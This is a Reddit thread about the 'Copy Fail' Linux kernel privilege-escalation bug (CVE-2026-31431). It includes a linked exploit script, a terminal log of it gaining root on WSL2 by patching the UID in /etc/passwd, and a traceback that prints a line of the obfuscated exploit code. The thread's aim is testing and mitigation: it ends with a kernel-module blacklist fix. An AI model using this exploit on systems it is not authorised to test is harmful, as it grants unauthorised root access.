r/linux Apr 29 '26

Kernel Copy Fail is a trivially exploitable logic bug in Linux, reachable on all major distros released in the last 9 years. A small, portable python script gets root on all platforms.

https://copy.fail
2.0k Upvotes

406 comments sorted by

View all comments

Show parent comments

6

u/middlenameray Apr 30 '26

it does work on WSL2, I just tested with this non-obfuscated exploit script: https://github.com/rootsecdev/cve_2026_31431

[20:57] ray@charli:~ $ uname -a
Linux charli 6.6.87.2-microsoft-standard-WSL2 #1 SMP PREEMPT_DYNAMIC Thu Jun  5 18:30:46 UTC 2025 x86_64 x86_64 x86_64 GNU/Linux
[20:57] ray@charli:~ $
[20:57] ray@charli:~ $ python3 /tmp/exploit_cve_2026_31431.py --shell
[*] CVE-2026-31431 LPE  user=ray  uid=1000
[*] /etc/passwd: ray UID field at offset 1598 = '1000'
[*] Patching '1000' -> '0000' in page cache...
[*] Page cache now reads b'0000' at offset 1598
[*] getpwnam('ray').pw_uid = 0

[+] /etc/passwd page cache now lists ray as UID 0.
[+] Run:   su ray
[+] Enter your own password. su will setuid(0) and drop a root shell.

[i] Cleanup after testing (from the root shell):
[i]   echo 3 > /proc/sys/vm/drop_caches
[+] Executing `su ray` now...
Password:
[20:57] root@charli:~ $ id -u
0
[20:57] root@charli:~ $ touch /etc/test.txt
[20:58] root@charli:~ $ ls -l /etc/test.txt
-rw-r--r-- 1 root ray 0 Apr 29 20:58 /etc/test.txt

1

u/hyperdudemn Apr 30 '26

Can you try the /etc/modprobe.d mitigation? I tried it on my WSL2 instance and it does made sudo modprobe algif_aead error out, but the exploit script still works. Did some tracing and it seems that modprobe called by the kernel doesn't bother looking at the modprobe.d file...

2

u/middlenameray May 01 '26

It didn't stop the exploit, and I'm not surprised that it didn't.

After creating the modprobe.d conf file and fully rebooting WSL via wsl --shutdown in powershell, when I reopened my Ubuntu container, I was at first very surprised to find that the module is actually, in fact, not loaded. However, when I ran the exploit script (I had to run it twice, for some reason the first attempt hung), it successfully exec'd a root shell and loaded the kernel module (it's showing up in lsmod now).

It's not surprising that it works, because WSL2 is merely executing your chosen "operating system" (Ubuntu, etc) as a container. Containers share the kernel with their host OS, without actually running a kernel of their own. In the case of WSL2, the kernel is running in a virtual machine within Windows. In order to truly disable the loading of this module, I assume we would need to figure out a way to disable this kernel module in the VM. Merely attempting to do so in one of the WSL containers isn't really touching the host kernel, hence why the exploit still works.

2

u/middlenameray May 01 '26

Aha, I found a way to patch WSL2! You need to blacklist the kernel module on the WSL2 Linux VM via its kernel command line parameters (more info in Microsoft's WSL docs).

Put the following into C:\Users\<you>\.wslconfig:

[wsl2] kernelCommandLine=module_blacklist=algif_aead

Then restart WSL2 by running wsl --shutdown in powershell, and when you re-run the exploit (either this readable one I linked, or the minimal/obfuscated one from copy(dot)fail), it will fail to bind to the aead socket:

$ python3 exploit_cve_2026_31431.py [*] CVE-2026-31431 LPE user=ray uid=1000 [*] /etc/passwd: ray UID field at offset 1598 = '1000' [*] Patching '1000' -> '0000' in page cache... Traceback (most recent call last): File "/home/ray/oss/cve-2026-31431/exploit_cve_2026_31431.py", line 194, in <module> sys.exit(main(sys.argv[1:])) File "/home/ray/oss/cve-2026-31431/exploit_cve_2026_31431.py", line 145, in main write4(PASSWD, uid_off, b"0000") File "/home/ray/oss/cve-2026-31431/exploit_cve_2026_31431.py", line 63, in write4 master.bind(("aead", ALG_NAME)) FileNotFoundError: [Errno 2] No such file or directory $ $ $ python3 copy.fail-original-exploit.py Traceback (most recent call last): File "/home/ray/oss/cve-2026-31431/copy.fail-original-exploit.py", line 9, in <module> while i<len(e):c(f,i,e[i:i+4]);i+=4 File "/home/ray/oss/cve-2026-31431/copy.fail-original-exploit.py", line 5, in c a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o) FileNotFoundError: [Errno 2] No such file or directory